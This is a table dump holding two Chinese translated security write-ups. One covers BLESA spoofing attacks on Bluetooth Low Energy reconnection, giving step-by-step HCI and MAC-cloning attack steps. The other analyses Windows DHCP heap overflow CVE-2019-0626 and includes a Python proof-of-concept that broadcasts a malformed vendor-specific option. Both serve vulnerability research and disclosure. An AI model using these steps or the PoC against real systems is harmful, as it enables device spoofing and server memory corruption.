text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# BLESA：针对蓝牙低能耗重连接的欺骗攻击
##### 译文声明
本文是翻译文章，文章原作者 Jianliang Wu，Yuhong Nan，Vireshwar Kumar，Jing Tian，Antonio
Bianchi，Mathias Payer and Dongyan Xu，文章来源：usenix.org
原文地址：<https://www.usenix.org/conference/woot20/presentation/wu>
译文仅供参考，具体内容表达以及含义原文为准。
蓝牙低功耗（BLE，Bluetooth Low
Energy）协议在资源受限的设备之间实现高能效的无线通信。为了简化其应用，BLE需要有限的交互或不需要用户交互才能在两个设备之间建立连接。不幸的是，这种简单性是几个安全问题的根本原因。在本文中，重点分析了两个先前连接的设备重新连接的情况，从而分析了BLE链路层的安全性。在对BLE规范定义的重新连接过程进行形式化分析的基础上，本文重点说明了该规范中的两个关键安全漏洞。结果，即使是正确实现BLE协议的设备也可能容易受到欺骗攻击。
为了证明这些设计缺陷，并进一步研究其安全隐患，本研究开发了BLE欺骗攻击（BLESA，BLE Spoofifing
Attacks）。这些攻击使攻击者可以模拟BLE设备并将欺骗性数据提供给另一个先前配对的设备。
BLESA可以很容易地针对BLE协议的某些实现进行实施，例如Linux中使用的一种。此外，对于Android和iOS使用的BLE堆栈实现，发现了一个启用BLESA的逻辑错误，将此安全问题报告给了受影响的各方（Google和Apple），他们也承认了本文的发现。
## 0x01 Introduction
低功耗蓝牙（BLE）是使用最广泛的低能耗通信协议，到2023年，支持BLE的设备数量有望达到50亿。
BLE协议支持无线短距离通信，该通信允许两个设备连接和交换数据。非典型使用场景由智能手机和通过BLE进行通信的“小工具”设备（例如健身追踪器）组成。每个BLE连接都涉及充当客户端的设备（在此示例中为智能手机）和充当服务器的另一设备（在此示例为健身追踪器）。第一次，两个设备进行连接（允许它们交换数据），它们执行特定的配对过程，具体过程取决于所连接设备的类型及其用户界面的功能。
促成启用BLE的设备的快速增长的主要因素是其低成本和最终用户所需的最少设置工作。先前的研究表明这些用户友好的功能对该协议的安全性具有负面影响。由于BLE通信通常用于对安全敏感的设备中，例如物理安全设备（例如，锁）或健康监控设备（例如，医疗植入物）[16]，因此这种担忧尤其令人担忧。
研究人员通过手动分析其规范指出并研究了BLE协议中的许多实现缺陷。此外，一些先前的工作还对BLE规范进行了自动的形式化分析。但是，这些形式化方法仅关注整个协议的有限方面，例如BLE配对机制。这种局限性是由于以下事实：完全规范化和自动分析BLE规范具有挑战性。挑战来自BLE协议的复杂性，建模其多层设计的困难，其多种变体和可选功能（这使该协议能够支持功能明显不同的各种设备）。
## 0x02 Threat Model
在本文中，研究了BLE协议一个尚未探索的机制。具体来说，专注于处理重新连接两个先前连接的设备的机制。例如，当服务器设备（例如，健身跟踪器）移出所连接的客户端设备（例如，智能手机）的BLE无线通信范围之外，然后稍后，这两个设备足够靠近时，该机制就起作用了重新建立连接。
为了开始对此场景的分析，首先使用ProVerif协议验证程序对相关的BLE链路层规范进行了正式验证。本文的形式化分析强调了BLE官方规范中的两个弱点。这些漏洞（在某些BLE堆栈实现中）使攻击者可以发起欺骗性攻击，在这种攻击中，攻击者伪装成先前配对的服务器设备，从而诱使客户端设备接受欺骗性数据。
特别是发现BLE规范允许以多种方式实现此协议的多个方面，其中某些方面很容易受到攻击。因此，即使在规范之后正确执行BLE协议栈，也很容易受到欺骗攻击。例如，发现BLE协议栈（通过gatttool进行访问）在Linux客户端设备（例如，Linux笔记本电脑）中正确遵循BLE规范时，很容易受到所识别的欺骗攻击的影响。
此外还发现，即使以理论上不易受到已识别攻击的方式实现的BLE协议栈，由于特定的逻辑漏洞，在实践中仍然容易受到攻击。具体来说，在Android设备使用的BLE堆栈和iOS设备使用的BLE堆栈中发现了类似的实现问题。此问题使许多Android和iOS设备容易受到已识别的攻击。已将发现的问题报告给Google和Apple，他们已确认了这些漏洞。截至2020年6月，Apple已为漏洞分配了CVE-2020-9770并对其进行了修复，但经过测试的设备（即运行Android10的Google
Pixel XL）中的Android BLE实施仍然很容易受到攻击。
为了展示确定的问题，设计了一种新颖的攻击称为BLESA（BLE欺骗攻击）。在BLESA中，攻击者假装是先前配对的服务器设备，拒绝了来自客户端设备的身份验证请求，然后将欺骗性数据提供给它。然后，表明运行Ubuntu且其BLE堆栈的最新版本的Linux笔记本电脑容易受到BLESA的攻击。另外，通过将它发布到Google
Pixel
XL手机上来展示BLESA的有效性，该手机记录了来自称为OuraRing的可穿戴活动跟踪设备的信息。特别是，通过使用BLESA，攻击者成功假冒了该手环，将欺骗数据注入到手机中，并且在手机上运行的环的配套应用程序接受并显示了欺骗数据。
假设攻击者具有与Dolev-Yao模型相同的功能，即，攻击者可以窃听，拦截和修改服务器与客户端之间传递的合法消息。 攻击者还可以将任何消息注入通信渠道。
但是，攻击者不知道服务器和客户端之间共享的密钥，并且所使用的加密功能是完全安全的。 而且，攻击者无法替换服务器或客户端的固件。
由于BLE是一种短距离通信协议，因此假设攻击者与客户端之间的距离以及攻击者与服务器之间的距离都在蓝牙范围内， 用欺骗性消息误导客户。
## 0x03 Formal Analysis of BLE Reconnection
当客户端与先前连接的服务器重新连接时，将对BLE链路层身份验证机制进行正式验证。利用ProVerif进行此协议验证。
### A.ProVerif模型
当客户端在新会话中与服务器重新连接时，将为身份验证过程建立一个正式的模型。身份验证过程被建模为两个通信状态机，一个用于客户端，一个用于服务器。在BLE规范中，对与客户端的属性请求的传输相对应的状态机和与服务器上的属性请求的处理相对应的状态机进行建模。该模型全面涵盖了不同类型的消息，包括与属性访问请求，属性访问响应和错误响应相对应的消息。客户端和服务器之间的通信被建模为自由（或开放）通道（free
plain_channel：channel），在该通道中，攻击者具有威胁模型中描述的功能。
还考虑了属性的所有特征，以涵盖服务器设备的不同使用场景。因此，将服务器上的属性建模为可读和可写。此外对两种类型的属性进行建模：（1）无需配对即可访问的基本属性（即，在安全级别1），以及（2）敏感属性配对后即可访问（安全级别为2或更高）。最后，对客户端进行建模以将访问请求发送到服务器，以按不同的顺序读取/写入这两种类型的属性。配对期间建立的共享密钥用于在需要加密时对通信进行加密/解密。
**安全目标：**
根据上面代码中列出的传统安全目标来分析上述模型。这些安全目标包括：（1）机密性，即，所传达的消息不应将任何敏感数据泄露给攻击者（第6-9行），（2）完整性，即所传递的消息不应被攻击者篡改而不被检测到（第6-9行），以及（3）真实性，即可以验证所传递的消息是由真实发件者生成的（第11行）。此外，当启动来自客户端的请求并处理服务器上的请求时，还将检查从规范中指定的规则中提取的一个BLE特定安全目标。仅当连接的安全级别与访问该属性的要求一致时，服务器才应授予对客户端的读/写访问权限（第13行）。
### B.发现的设计缺陷
通过正式验证，当先前连接的设备重新连接时，本研究发现了一些违反已检查的安全目标的情况。这些违规导致以下两个安全漏洞，攻击者可能会利用这些漏洞来发起欺骗攻击。
#### 漏洞1：可选身份验证
发现链路层加密/身份验证是可选的：客户端和服务器可以针对特定属性选择禁用它。因此，在基本属性的情况下，可能会违反属性访问请求和响应的机密性，完整性和真实性目标，如ProVerif的以下结果所示。
反例：
注意到，服务器根据所请求属性的访问控制策略来确定其与客户端的连接的安全级别。如计数器示例所示，当访问控制策略允许连接的最低安全级别（即安全级别1）时，可以以纯文本形式发送属性访问请求和响应。在这种情况下，将不会部署任何链路层身份验证。因此，攻击者可以对服务器和客户端设备发起欺骗攻击。
由于连接的安全级别由服务器指导，因此如果服务器仅允许安全级别为1的连接，则客户端将无法强制执行更高安全级别的连接。这方面使得服务器和客户端都容易受到欺骗攻击。
#### 漏洞2：规避身份验证
当客户端在配对后与服务器重新连接时，BLE规范提供了两种可能的身份验证过程。
**（1）响应式认证：**
在此过程中，客户端在建立连接后立即以纯文本（即，安全级别1）发送属性访问请求。仅当服务器响应并显示一条错误消息，表明连接的当前安全级别与访问该属性所需的安全级别不一致时，客户端才会通过启用加密/身份验证做出反应。对于此过程，形式分析表明可以违反访问响应的真实性，如下面的ProVerif输出所示。
反例：
尽管存储在服务器上的敏感属性没有泄漏给攻击者，但攻击者可以窃听客户端发送的请求，模拟服务器并用与敏感属性相对应的欺骗响应来欺骗客户端。Linux上的现有BLE堆栈实现（当通过gatttool访问时）遵循此反应式身份验证，从而使相应的客户端容易受到欺骗攻击。
**（2）主动式身份验证：**
在此过程中，客户端设备会在向服务器发送任何请求之前主动启用加密/身份验证。特别是，客户端使用先前建立的预共享密钥启用加密，然后继续进行身份验证。在这种情况下，如果服务器未能启用加密（这也意味着它未能启用身份验证）
，客户端将中止连接。形式化验证表明，所有检查的安全目标都在主动身份验证期间成立，如以下结果所示。
不幸的是，Andriod和iOS使用的现有BLE堆栈实现无法正确遵循此过程，从而使相应的客户端容易受到欺骗攻击。
## 0x04 BLE Spoofing Attack (BLESA)
通过形式化验证确定的设计漏洞来构造BLE欺骗攻击（BLESA）。在这种攻击中，攻击者向伪装成先前配对服务器设备的客户端设备提供欺骗数据。
**攻击设置：**
本研究检查了服务器和客户端在上一个会话中安全配对的情况，当前它们已断开连接，但它们打算开始新的会话。例如，当客户端移出服务器的通信范围然后又返回时，就会发生这种情况。
在这种情况下，攻击者首先发现服务器并与其连接以获得有关服务器属性的信息（例如标识符）。由于BLE协议旨在允许任何设备与另一个BLE设备连接并获取有关提供的属性的信息，因此攻击者可以轻松获取此信息。此外，由于BLE广播数据包始终以明文形式发送，因此攻击者可以通过广播相同的数据包并克隆其MAC地址来轻松地模拟良性服务器。然后，攻击者开始广播欺骗性的广告包以确保无论何时客户端尝试启动与先前配对的服务器进行新会话后，它可以发现欺骗性广播包并与攻击者建立连接。此时，攻击者已准备好针对客户端启动BLESA。在以下各节中，将按照被动身份验证过程以及遵循主动身份验证过程针对客户端介绍BLESA的工作流。
### A.针对响应式身份验证的BLESA
上图a展示了客户端和服务器重新连接以及反应式身份验证过程在良性环境中进行的示意图。客户端首先向最低安全级别（即，安全级别1级的服务器发送属性读取请求），无需任何加密/身份验证。如果属性是敏感的并且可以在更高的安全级别（例如，具有加密和身份验证的安全级别3）上是只读的，则服务器会以错误消息（例如，加密不足）来响应客户端。收到错误消息后，客户端通过使用预共享的密钥启用加密和身份验证来提高安全级别，然后再次发送请求。此时，服务器很容易接受读取请求并返回属性值。
现在，介绍BLESA的工作流程，如上图b所示。在此，攻击者拦截来自客户端的属性读请求并以欺骗性的属性值进行响应。由于客户端没有遇到任何错误消息，因此错误地假定可以在最低安全级别（即，以纯文本格式）访问该属性。因此，客户端不启用加密/身份验证，并且接受欺骗的属性值。在BLESA的此实例中，使攻击成为可能的根本原因是客户端设备依赖于服务器的错误消息来进行攻击。调整使用的安全级别。
### B.针对主动式身份验证的BLESA
上图a显示了客户端设备与良性服务器重新连接时触发的主动身份验证过程的工作流程。连接后，客户端立即请求使用预共享密钥启用加密（和身份验证），服务器将遵守该请求。然后，客户端安全地发送属性读取请求，并且服务器使用（加密和认证的）属性值安全地进行响应。如果BLE堆栈正确地执行了主动身份验证，遵循了规范，则BLESA将失败。但是进一步分析表明，基于Android和iOS的客户端设备都遭受逻辑错误，使BLESA可以针对这些设备。
上图b展示了BLESA如何使用主动身份验证过程成功胜过客户端设备，但受到所解释的实施漏洞的影响。具体地，在连接到攻击者之后，如果客户端尝试启用加密，则攻击者向客户端发送一条错误消息，指定长期密钥不可用，从而使加密失败。此时，客户端未正确遵循BLE规范（在这种情况下，建议中止连接），但继续与攻击者建立连接，客户端随后继续以明文形式发送对目标属性的读取请求。与服务器不同，攻击者很容易授予对属性的访问权限，使其在最低安全级别（即安全级别1）下可用，并将伪造的属性数据提供给客户端。因此，客户接受来自攻击者的欺骗性数据。
**漏洞利用：**
根据BLE规范，当客户端与先前配对的服务器重新连接时，如果在主动身份验证过程中加密启用过程失败，则客户端应与服务器重新配对（如上图所示）或中止连接。但是，某些客户端（即基于Android和iOS的设备）中的BLE堆栈无法正确遵循规范。具体来说，发现即使启用加密过程失败，客户端也可能不会中止连接并以明文形式继续通信，而无需与服务器重新配对。攻击者可以利用此缺陷来启动BLESA。怀疑此实现漏洞可能是由官方文档中解释BLE协议这一部分的方式引起的。
为了访问基本属性，并且某些服务器设备不支持链路层加密（即设计漏洞1），BLE规范做出了一些规定，以维护与这些资源受限的服务器设备的兼容性并增强可用性。因此，当加密/身份验证失败时，仍然可以按照规范中的说明以纯文本格式传输BLEdata和控制消息（上图）。认为上图中所示规范中的细节引起的矛盾可能使BLE堆栈开发人员感到困惑。这样，他们犯了逻辑错误，即在加密过程失败的情况下不中止连接，这对于访问先前配对的服务器上的安全敏感属性是必不可少的。
## 0x05 Implementation and Impact
### A.设计漏洞-1的检查
为了确定是否确实存在某些不使用链路层身份验证的BLE服务器设备，采用两种方法：（1）通过静态分析来检查一组BLE设备的配套应用程序的行为。（2）对一组实际的BLE设备进行采样，并通过运行时分析检查它们的通信数据包。
**移动应用程序的静态分析：**
典型的BLE设备（例如Fitbit健身追踪器）依赖于其伴随移动应用程序（例如Fitbit应用程序），该应用程序使最终用户能够访问和管理记录的属性数据（例如步数）。由于配对过程（建立密钥）是启用链路层身份验证的先决条件之一，因此，如果在其伴随应用程序中未调用配对API，可以很容易地确认BLE设备不支持链路层身份验证。为此，利用静态分析框架FlowDroid来检查Android
BLE应用程序。更具体地说，对于每个伴随应用程序，在FlowDroid中使用Class Hierarchical
Analysis（CHA）选项来构建调用图，并确定是否应用程序确实从其任何入口点（例如，活动）调用配对API。由于CHA是用于调用图构造的相对保守的方法，因此可能会丢失部分方法调用。但是，与其他选项（例如，SPARK）相比，分析结果更加精确，误报率极低。因此，它使用配对提供了一个较低范围的BLE
app。
静态分析从33,785个受欢迎的应用程序开始，这些应用程序于2020年1月和2020年2月从AndroZoo网站自动爬取。基于这些应用程序的构造调用图和相应的API，发现只有127个应用程序包含读取的BLE数据读/写操作。然后，检查在这些应用程序中是否调用了配对API（createBond(
)）。不幸的是，发现在127个检查的应用程序中，只有41个（32.3％）包含配对过程，这意味着大多数被调查的BLE伴侣应用程序（67.7％）没有实现链路层身份验证。
**传输数据包的运行分析：** 研究了12种BLE设备（如上表所示），这些设备被选择代表了主流BLE设备制造商的各种应用。将每台服务器设备与Google
Pixel XL手机相连，并读取其属性。在这些实验中，使用Ubertooth
One无线电拦截运行时通信的数据包。通过分析截获的数据包，发现在检查的12个BLE设备中，有10个不支持任何链路层加密/身份验证。为此得出的结论是，大多数现实世界中的BLE设备都不采用链路层身份验证。
### B.设计漏洞-2的检查
为了检验第二个漏洞，测试了四个不同的客户端设备，它们涵盖了具有不同BLE堆栈实现的所有主要平台。在下表中提供了有关这些设备的详细信息。在每个平台上进行实验，以探讨以下两个问题的答案：（1）两种身份验证程序中的哪一个客户端设备在与服务器设备重新连接时会利用吗？
（2）如果客户端设备遵循主动身份验证过程，则其BLE堆栈实现是否存在任何逻辑缺陷，使其容易受到欺骗攻击？
为了回答这两个问题，首先将每个经过测试的客户端与一台服务器（使用Linux笔记本电脑进行仿真，如下表所示）配对，然后断开它们的连接。之后将经过测试的客户端与同一服务器重新连接，并要求客户端读取服务器的属性之一，同时使用Wireshark捕获所有生成的BLE流量。
通过分析与用作客户端的Linuxlaptop对应的流量数据，发现Linux
BLE堆栈（即通过gatttool访问的BlueZ）实现了响应式身份验证过程。结果，Linux
BLE遭受了漏洞2的困扰。相反，发现Android，iOS和WindowsBLE堆栈实现了主动身份验证过程，其中Windows
BLE堆栈严格遵循BLE规范。但是，即使加密/验证失败，Android和iOS设备也会继续重新连接。
**责任披露：**
已于2019年4月8日向Apple和Google报告了此漏洞。Apple已确认本文的发现，已将CVE-2020-9770分配给该漏洞，并进行了修复。尽管Google也确认了该漏洞，但被告知漏洞报告类似于比本研究早三天提交的另一份报告。注意到，测试设备（即具有Android
10的Google Pixel XL）中，较新的Android BLE实施（截至2020年5月）仍然很容易受到攻击。
### C.针对Linux客户端的BLESA
为了攻击Linux客户端（前表第三行中列出），使用另一台Linux笔记本电脑作为服务器设备。模拟的服务器运行python脚本以提供与敏感属性相对应的服务，该属性可以在安全级别3（即具有加密和身份验证的连接）下读取。为了模拟攻击者，使用带有CSR
4.0蓝牙加密狗的Linux桌面（如下表所示）。攻击者还运行一个Python脚本，该脚本处理从客户端接收到的消息，并针对该客户端启动BLESA。此外，在客户端设备上使用thegatttool发送属性读取请求并接收响应。
为了启动BLESA，攻击者执行以下步骤：❶扫描（bluetoothctl）服务器发送的广告包以记录其MAC地址；
❷将攻击者的蓝牙MAC地址（BlueZ中的bdaddr工具）更改为服务器的MAC地址，以便客户端可以与攻击者重新建立连接；
通过向加密狗发出主机控制器接口（HCI）命令，HCI_LE_Set_Advertising_Parameters，HCI_LE_Set_Advertising_Data和HCI_LE_Set_Advertising_Enable来广播与服务器相同的（模拟的）广播包；
❹在从客户端接收到ATT_READ_REQ消息后，通过ATT_READ_RSP消息注入欺骗数据。
通过执行这些步骤，攻击者成功绕过了Linuxclient的反应式身份验证过程，并诱使客户端接受欺骗数据。
### D.针对Android / iOS客户端的BLESA
由于BLESA通过将连接降级为纯文本来绕过链路层身份验证，因此与不使用任何应用程序层安全性机制（例如，加密或身份验证）的BLE服务器设备通信的所有基于Android和iOS的客户端设备都容易受到BLESA的攻击。注意到根据先前的研究，从BLE服务器设备读取数据时，有46％的Android应用程序（累计安装量为23.79亿）未利用应用程序层安全性。这意味着至少46％的Andriod应用程序容易受到BLESA的攻击。Apple应用程序商店中的易受攻击的应用程序所占的比例很可能相似。
在这里展示了攻击者（如前表所示）如何通过模拟Oura环将BLESA投放到Google Pixel手机上。攻击者执行前三个步骤，即❶扫描环的广播数据包；
❷克隆广播包和环的MAC地址。此后，攻击者执行以下操作：❹发送HCI命令HCI_LE_Long_Term_Key_Request_Negative_Reply，指示在收到HCI事件HCI_LE_Long_Term_Key_Request时，密钥无法绕过加密和身份验证；❺在之后从ATT_READ_RSQ消息中通过ATT_READ_RSP消息注入欺骗数据。注意到，攻击者可以按照相同的步骤针对iOS客户端设备启动BLESA。
通过执行这些步骤，攻击者成功地将欺骗的数据注入到智能手机中，并且在智能手机上运行的环的配套应用程序将欺骗的数据显示给用户。 上图a显示，在实验中，Oura
Ring设备的实际电池电量为43％。
通过BLESA，成功地向应用程序注入了伪造的电池电量（0％），如图b所示;同时，还注入了另一条欺骗性消息，该消息触发了应用程序中的通知，提示充电已完成，如图c所示。
注意到，尽管第一个欺骗消息使应用程序认为电池电量为0％，但有趣的是，该应用程序接受了另一个欺骗消息（对应于充电完成）并向用户显示错误通知。可以在<https://pursec.cs.purdue.edu/projects/blesa.html>
上访问此攻击的演示。
## 0x06 Mitigation of BLESA
为了防止BLESA，需要确保客户端与其之前配对的服务器设备之间的重新连接过程安全。可以通过改进BLE堆栈实现和/或更新BLE规范来实现这一目标。
**更新实施：** 就Linux
BLEstack（通过gatttool访问的BlueZ）而言，可以将客户端设备更新为仅采用主动身份验证。根据BlueZ开发人员，他们已将gatttoolas标记为不推荐使用，它将从BlueZ中完全删除gatttool及其源代码，并且仅保留bluetoothctl。此外，可以通过正确遵循BLE规范来缓解已发现的Android和iOS客户端使用的主动身份验证的实现漏洞。更新的实现必须确保当与先前配对的服务器的身份验证失败时，客户端将中止连接并重新启动配对过程。
一个更根本的问题是，即使对于主动身份验证，BLESA也会在实现中存在其他潜在错误的情况下绕过链路层身份验证。这是安全研究人员建议在多层上进行身份验证的典型方案。实际上，如果在应用程序层进行身份验证/加密，则链路层问题就不会成为可利用的问题。不幸的是，这种改进可能会不能广泛部署，因为很大一部分资源受限的设备无法远程更新。
**修订规范：**
虽然修复错误以使BLE设备快速抵御BLESA是很重要的，但制定出规范以防止更高级的欺骗攻击也同样重要。为此，应防止客户端首先发送属性访问请求然后根据服务器返回的错误消息调整连接的安全级别。换句话说，在发送访问请求之前，客户端应首先获取有关存储在服务器上的属性的访问要求的真实信息，然后调整连接的安全级别以满足这些要求。但是，此方法要求客户端在配对过程中记录服务器上每个属性的安全要求。因此，需要更新规范中的配对过程，以便服务器可以将其每个属性的安全性要求发送给客户端。
## 0x07 Conclusion
在本文中对BLE规范中定义的重新连接过程进行了形式验证，并发现了BLE链路层身份验证机制中的两个设计缺陷。通过利用这些设计缺陷，本研究提出了BLESA，这是一种新颖的BLE欺骗攻击，攻击者可以通过它模拟BLE服务器设备并将欺骗数据提供给先前配对的BLE客户端设备。
BLESA可以轻松地针对运行Linux的BLE设备启动（通过gatttool访问）。
此外，对已发现的现实BLE实现中的漏洞的进一步检查，揭示了Android和iOS
BLE堆栈中的一个相关实现漏洞。由于存在此漏洞，这两个堆栈都容易受到BLESA的攻击。为了展示BLESA，详细介绍了如何使用此攻击来将来自健身追踪器的数据欺骗到Android智能手机。此外，估计了可能受到此攻击影响的现有Android应用程序的数量。最后讨论了重新连接过程中可能的改进，以从根本上减轻BLESA等欺骗攻击的威胁。 | 社区文章 |
# CVE-2019-0626 - Windows DHCP 漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 malwaretech，文章来源：malwaretech.com
原文地址：<https://www.malwaretech.com/2019/03/analyzing-a-windows-dhcp-server-bug-cve-2019-0626.html>
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章主要介绍了 CVE-2019-0626 漏洞的基本原理，以及我对它的发现过程。这个漏洞只存在与 Windows Server
系统中，因此下文中的演示都是位于虚拟机的 Windows Server 2016 中，对应的补丁为 KB4487026。
## 二进制文件比较
我使用 BinDiff 来比较打补丁前后的 dhcpssvc.dll 文件，我们可以看到，一共有四个函数被修改过。
首先，我想研究一下 UncodeOption 函数，因为这个函数听起来像是某种解码器，而这种函数中通常会有很多
bug。双击目标函数，将出现两个并排的流程图，原始函数在左边，打补丁后的函数在右边，这两个流程图将函数分割成逻辑块的汇编代码，类似于 IDA 的
“graph view”。
* 绿色方块代表两个版本的函数是相同的
* 黄色方块代表两个版本的代码有些许不同
* 灰色方块代表新加入的代码
* 红色方块代表移除的代码
如图所示，新的版本只是修改了很少的代码，更有意思的是，它有两个循环，每个循环都增加了一个新的代码块。虽然 BinDiff
还可以做更多的分析，但我发现接口太笨重了。我想我已经有了所有我需要的信息,所以是时候换上 IDA 了。
## 代码分析
IDA 的完整版本可以使用 decompiler
来保存反编译的汇编代码。大多数漏洞都能通过反编译看出来，尽管在偶尔的一些时候，漏洞只能通过看汇编代码才能找出来。
根据 IDA 的 decompiler 算法，你可能会发现有重复的变量。例如， v8 和 a2 是相同的，并且从没有修改过值。我们可以通过右键点击 v8
来清理代码，并通过将 v8 映射到 a2，将所有的 v8 变量都用 a2 替换。这种变量的映射能够使用户更加方便的阅读代码。
下面是两个版本整理后代码的比较：
新版本代码的黄色框框中的循环类型换成了 do
while，而且在红色框框中添加了新的判断条件。此外，蓝色框框中的检查已经被移动到了循环里面。下一步，我想要研究一下 UncodeOption
函数到底在做什么。右键单击函数并选择 jump to xref，会返回所有调用这个函数的位置。
可以看到，所有对于 UncodeOption 函数的调用几乎都是来自 ParseVendorSpecific 和
ParseVendorSpecificContent。之后，我就去谷歌了一下 ““DHCP Vendor Specific”。
谷歌的自动补全在给了一些提示。我现在知道 DHCP 有一个叫做 vendor specific options 的东西。而 UncodeOption 函数被
ParseVendorSpecific 调用，某种程度上可能用于解码 vendor specific options。那么，vendor specific
options 到底是什么?
## 供应商类别选项
通过谷歌， 我在一篇[博客](https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/)中了解了什么是 Vendor Specific
Options，即供应商类别选项。此外，这篇博客还分析了 vendor specific options 的包格式。
包的格式很简单:一个1字节的供应商类别标识符，后跟一个1字节指定后面内容的长度，
现在我们只需要发送一个测试包。
此外，我还找到了一个用来测试 DHCP 的[客户端](https://blog.thecybershadow.net/2013/01/10/dhcp-test-client/)。
dhcptest.exe –query –option “Vendor Specific Information”[str]=”hello world”
上面的代码将 Vendor Specific Options 设置为 hello world。现在，我们可以看到是否调用了 UncodeOption。
## 运行时分析
为了方便，我在 UncodeOption 上设置了一个断点。然后发送 DHCP 请求，希望可以命中断点。
之后，断点真的被命中了。函数的参数看起来也很好理解。
* RCX (argument 1) 指向了 Vendor Specific Options 的开头
* RDX (argument 2) 指向了 Vendor Specific Options 的结尾
* R8 是 0x2B (vendor specific options 包中的供应商类别标识符)
现在我们来在反编译的代码中添加一些描述性名称;
我猜测了一些变量类型。这对了解 Vendor Specific Options 的格式非常有帮助。
在这段代码中，一共有两个循环，下面我将详细介绍这两个循环：
### 第一个循环
1. 获取 option code（也就是 option buffer 中的第一个字节）。确保这个值与 R8 的值(0x2B)相同。
2. 获取 option size（也就是 option buffer 中的第二个字节）。然后将其加到 reuired_size 上。
3. 将 buffer_ptr_1 向后移动 option_size + 2 的距离
4. 如果 buffer_ptr_1 比 buffer 的结尾(buffer_end)更大，则会退出。
本质上，循环会读取 option_ value的长度(在我们的示例中是 hello world)。
如果发送了多个 Vendor Specific Options，则循环将会计算总大小。变量 required_size 稍后用于分配堆空间。
### 第二个循环
1. 获取 option code（也就是 option buffer 中的第一个字节）。确保这个值与 R8 的值(0x2B)相同。
2. 获取 option size（也就是 option buffer 中的第二个字节）。
3. 将 option value 复制 option_size 字节到堆空间。
4. 将 buffer_ptr_2 指向 option buffer 的结尾，
5. 如果 buffer_ptr_2 比 buffer_end 更大，则会退出。
### 代码用途
该函数实现了一个典型的数组解析器。第一个循环提前读取以计算解析数组所需的缓冲区大小。然后，第二个循环将数组解析到一个新分配的缓冲区上。
## 漏洞
在了解了两个循环的实现之后，我发现了一些事情。
两个循环都有一个判断条件，在 buffer
指针指向数组的尾端时会退出(绿框)。有意思的是，第一个循环中还有一个额外的检测(红框)。如果数组中的下一个元素无效（即其大小将导致指针超过数组末尾），循环1也会中止。这两种检测的不同在于，
循环 1 会在处理元素之前检测其有效性，但是循环2会直接复制元素，直到 buffer_ptr_2 超过
buffer_end。事实上，循环1负责计算大小，只会为有效的数组元素分配缓冲区。而循环2将复制所有有效的数组元素以及一个无效的数组元素。所以，如果我们发送下面的内容呢？
循环 1 将会成功的解析第一个 option size。 然后，验证下一个 option size。
由于后面没有0xFF字节，因此它将被视为无效并被忽略。最后将会分配 0x0B 字节(11 字节)的缓冲区。然后到了循环 2，它会拷贝第一个 option
value， 也就是 “hello world”，在第一次迭代时，option size 是不合法的，会返回 0xFF
字节，并添加到缓冲区中。因此，循环2会将266个字节的内容拷贝到11个字节的缓冲区中，使其溢出255字节。要使最后一个元素被视为无效，第二个选项长度和缓冲区的尾部之间的长度必须小于255字节，这可以通过将恶意数组放在DHCP包的末尾来实现。
有趣的是:我们可以在最后一个选项长度后面放入任意数量的字节，只要小于255。我们可以指定254字节的内容使其溢出，同时也可以使用任意的254字节使其溢出。
本质上，他可以进行越界读写。
## POC
为了验证这个漏洞，我需要构造一个恶意的 DHCP 包。首先，我用 dhcp-test 发送了一个合法的 DHCP 包：
由上图看来，可以看到 vendor specific options 的数据都已经附加在包的后面了。我只是用 python
将十六进制数据提取出来，并卸了一个简单的 PoC。
from socket import *
import struct
import os
dhcp_request = (
"x01x01x06x00xd5xa6xa8x0cx00x00x80x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x63x82x53x63"
"x35x01x01x2bx0bx68x65x6cx6cx6fx20x77x6fx72x6cx64xff"
)
dhcp_request = dhcp_request[:-1] #remove end byte (0xFF)
dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code
dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size
dhcp_request += "A"*254 #254 bytes of As
dhcp_request += struct.pack('=B', 0xFF) #packet end byte
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP
s.bind(('0.0.0.0', 0))
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) #put socket in broadcast mode
s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67
接下来，我将 debugger 附加到一个包含 dhcpssvc.dll 的 svchost 进程上，并且设置了断电。一个断电实在 HeapAlloc
上，另一个是在循环 2 后面，然后我开始发送我的 DHCP 数据包。
在 HeapAlloc 的端点上，你可以看到分配了 0x0B 字节（这对于 hello world
字符串来说已经足够了），我希望看看再次命中这个断点时会发生什么。
有意思的时，它把字符串 hello world, 还有254字节的 A 拷贝到了只有 11 字节的
堆中。但是这可能不会导致崩溃，除非我们能重写一些特别重要的位置。
## 总结
在这个漏洞上，我花的时间并不是很多，并且对于更新的系统，我还没有找到一个新的 RCE
方法。目前我发现了几个TCP接口，它们可以更好地控制堆。如果没有更有趣的东西出现，我以后可能还会再讲这个。
## 参考文献
1. [Microsoft Vendor specific DHCP options explained and demystified](https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/)
2. [A custom tool for sending DHCP requests](https://blog.thecybershadow.net/2013/01/10/dhcp-test-client/)
3. [TechNet blog post about early heap mitigations](https://blogs.technet.microsoft.com/srd/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities/)
